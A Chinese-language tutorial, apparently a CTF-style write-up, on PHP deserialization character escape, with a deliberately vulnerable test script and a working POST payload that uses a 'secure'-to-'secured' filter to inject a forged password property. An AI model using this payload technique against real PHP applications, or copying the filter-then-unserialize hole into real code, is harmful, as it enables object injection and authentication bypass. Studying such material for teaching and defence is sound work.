天天看點

PHP反序列化字元逃逸漏洞

0x01 漏洞原理

原理:在一個序列x:x{xxxxx} 花括号的後面添加字元後不會改變本來反序列後的結果,是以可以精心構造序列化的屬性,利用閉合關系改變本來題目的屬性(或者說使後面的某些屬性無效)

0x02 複現環境

PHP 5.4.45

Apache 2.4.39

0x03 測試代碼

<?php
highlight_file(__FILE__);
$flag='flag{xxx}';
function filter($str){
    return str_replace('secure','secured',$str);
}
class Hacker{
    public $username='margin';
    public $password='margin123';
}
$h=new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
    $h->username=$_POST['username'];
    $c = unserialize(filter(serialize($h)));
    if ($c->password==='hacker'){
        echo $flag;
    }
}
           

0x04 Pyload

username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=b
           

0x05 Pyload分析

分析PHP代碼可知,Hacker這個對象序列化後得到

PHP反序列化字元逃逸漏洞

首先根據漏洞原理構造payload

username=a";s:8:"password";s:6:"hacker";}&password=b
           
PHP反序列化字元逃逸漏洞

這個payload序列化後的結果為

可以看到這個字元串中username這個變量的值的字元串長度為32,而實際上我們如果想要這個字元串能夠成功被反序列化,那麼長度應該為1。是以這個序列化字元串是錯誤的,無法正常反序列化,所有這個payload錯誤。

分析PHP代碼發現有一個filter函數,這個函數會把字元串中的所有secure替換為secured,然後在進行反序列化操作。

我們想要把password的值變為hacker,我們需要使用

";s:8:"password";s:6:"hacker";}

這樣的字元串閉合,這個字元串共有31個字元。

那麼我們就要使用31個

secure

,這31個字元串被filter函數替換後,就會多出31個字元。

PHP反序列化字元逃逸漏洞

此時圖中選中位置的字元串長度就會與字元串實際長度相等,那麼這個序列化的字元串就不存在錯誤,就可以被正常反序列化了。

PHP反序列化字元逃逸漏洞

可以看到,成功修改了password的值。

0x06 參考

https://www.cnblogs.com/cjz12138/p/13667855.html